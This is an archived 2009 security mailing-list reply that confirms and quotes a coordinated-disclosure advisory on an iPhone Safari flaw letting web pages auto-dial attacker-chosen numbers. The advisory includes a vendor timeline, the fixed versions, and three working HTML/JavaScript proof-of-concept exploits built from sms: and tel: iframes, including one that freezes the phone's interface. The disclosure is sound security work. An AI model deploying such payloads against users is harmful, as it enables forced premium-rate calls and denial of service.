lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 18 Jun 2009 09:14:57 -0700
From: Mike Ely <me@...pehat.com>
To: Collin Mulliner <collin@...aversion.net>,
	bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: Re: iPhone Safari phone-auto-dial vulnerability (original date:
 Nov. 2008)

Confirmed on the T-Mobile G1 email app running OS version 1.5.  Was wondering why my phone stepped on email to dial out when I read this email and then I read the subject line ;)

FWIW, it didn't actually dial, just loaded the dialer with that number ready.  

Looks like this is a Webkit bug, not Safari. 

Collin Mulliner <collin@...aversion.net> wrote:

>Released since Apple published the iPhone 3.0 security fixes.
>
>Vulnerability Report
>
>--- BEGIN ADVISORY ---
>
>Manufacturer: Apple (www.apple.com)
>Device:       iPhone 3G (iPhone 1st Gen)
>Firmware:     2.1 (possible earlier versions)
>Device Type:  smart phone
>
>Subsystems: Safari (and mobile telephony)
>
>-----------------------------
>
>Short name:
>   iPhone Safari phone-auto-dial (vulnerability)
>
>Vulnerability class:
>   application logic bug
>
>Executive Summary:
>   A malicious website can initiate a phone call without the need of user
>   interaction. The destination phone number is chosen by the attacker.
>
>Risk: MEDIUM-HIGH
>   Medium to high risk due to the possibility of financial gain through
>   this attack by calling of premium rate numbers (e.g. 1-900 in the
>   U.S.). Denial-of-service against arbitrary phone numbers through
>   mass-calling. User cannot prevent attack.
>
>-----------------------------
>
>Reporter: Collin Mulliner <collin[AT]mulliner.org>
>
>-----------------------------
>
>Affiliation: MUlliNER.ORG / the trifinite group / (Fraunhofer SIT)
>
>-----------------------------
>
>Time line:
>
>   Oct. 20. 2008: Reported vulnerability to vendor.
>   Oct. 20. 2008: Vendor acknowledges receiving our email.
>                  Not commenting on the vulnerability itself.
>   Oct. 27. 2008: Sent update to vendor, also requesting a status report.
>   Oct. 29. 2008: Reply from vendor acknowledging the vulnerability.
>   Oct. 30. 2008: Sent additional information.
>   Nov. 13. 2008: Vender says vulnerability is fixed in upcoming OS
>                  version.
>   Nov. 20. 2008: Public disclosure.
>   Jun. 18. 2009: Full-Disclosure.
>
>-----------------------------
>
>Fix:
>
>   iPhone OS 2.2
>   iPhone OS 2.2.1
>   iPhone OS 3.0
>	
>-----------------------------
>
>Technical Details:
>
>   The Safari version running on the iPhone supports handling the TEL [1]
>   protocol through launching the telephony/dialer application. This is
>   done by passing the provided phone number to the telephony
>   application. Under normal conditions, loading a tel: URI results in a
>   message box asking the user's permission to call the given number. The
>   user is presented with the simple choice to either press call or
>   cancel.
>
>   A TEL URI can be opened automatically if the TEL URI is used as the
>   source of an HTML iframe or frame, as the URL of a meta refresh, as
>   the location of a HTTP 30X redirect, and as the location of the
>   current or a new window using javascript.
>
>   We discovered a security vulnerability that dismisses the "ask for
>   permission to call" dialog in a way that chooses the "call" option
>   rather than the "cancel" option.
>	
>   This condition occurs if a TEL URI is activated at the same time
>   Safari is closed by launching an external application, for example
>   launching the SMS application (in order to handle a SMS URI [2]). The
>   SMS application can be launched through placing a SMS URI as the
>   source of an iframe. This is shown in the first proof-of-concept
>   exploit below.
>	
>   Further investigation showed that this behavior can be reproduced by
>   launching other applications such as: Maps, YouTube, and iTunes.
>   Launching these applications can be achieved through loading special
>   URLs using the meta refresh tag. This is shown in the second
>   proof-of-concept exploit below.
>
>   We also discovered that the bug can also be triggered through popup
>   windows (e.g. javascript alert). In this situation the initiating app
>   does not need to be termianted in order to active the call.
>	
>   Finally, we discovered a second bug that can be used to perform
>   malicious phone calls that cannot be prevented or canceled by the
>   victim. This bug allows the attacker to freez the GUI (graphical user
>   interface) for a number of seconds. While the GUI is frozen the call
>   progresses in	the background and cannot be stopped by the victim user.
>   Freezing the GUI is achieved by passing a "very long" phone number to
>   the SMS application. The SMS application, immediately after being
>   started, freezes the iPhone GUI. Also switching off the iPhone cannot
>   be performed fast enough in order to prevent the malicious call.
>	
>
>   [1] http://www.rfc-editor.org/rfc/rfc3966.txt
>   [2] http://tools.ietf.org/html/draft-antti-gsm-sms-url-04
>
>-----------------------------
>
>Further Discussion:
>
>   The dialing dialog is clearly shown to the user also the user, in most
>   cases, can't press cancel quick enough in order to stop the initiation
>   of the call. Once the external application is launched, the telephony
>   application is running in the background performing the call. Only
>   the call forwarding dialog (containing the "dismiss" button) indicates
>   a call being made.
>
>-----------------------------
>
>Proof-of-Concept with plain HTML using the SMS application:
>
>   <html>
>   <head>
>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>   </title>
>   </head>
>   <body>
>   <iframe src="sms:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>   <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>   <!-- second iframe is to attack quick users who manage to close the
>        first call-dialog //-->
>   <iframe src="tel:+14089748388" WIDTH=50 HEIGHT=10></iframe>
>   </body>
>   </html>
>
>Proof-of-Concept using javascript and the Maps application:
>
>   <html>
>   <head>
>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>   </title>
>   <meta http-equiv="refresh" content="0;
>   URL=http://maps.google.de/maps?q=rheinstrasse+75+darmstadt">
>   </head>
>   <body>
>   <script lang=javascript>
>   function a() {
>    document.write("<iframe src=\"tel:+14089748388\" WIDTH=50 
>HEIGHT=10></iframe>");
>   }
>   setTimeout("a()", 100);
>   </script>
>   </body>
>   </html>
>	
>Proof-of-Concept attack where the victim user cannot stop the malicious 
>phone call:
>
>   <html>
>   <head>
>   <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner
>   </title>
>   </head>
>   <body>
>   <script lang=javascript>
>   l = "<iframe src=\"sms:";
>   for (i = 0; i < 10000; i++) {
>           l = l + "3340948034298232";
>   }
>   l = l + "\" width=10 height=10></iframe><iframe
>   src=\"tel:+14089748388\" height=10 width=10></iframe>";
>   document.write(l);
>   </script>
>   </body>
>   </html>
>
>-----------------------------
>
>More Detailed Information:
>
>  Demo video available at:
>   http://www.mulliner.org/iphone/
>
>  Advisories:
>   http://www.mulliner.org/security/advisories/
>
>--- END ADVISORY ---
>
>
>-- 
>Collin R. Mulliner <collin@...aversion.net>
>info/pgp: finger collin@...aversion.net
>If Bill Gates had a nickel for every time Windows crashed... Oh wait, he 
>does!

Powered by blists - more mailing lists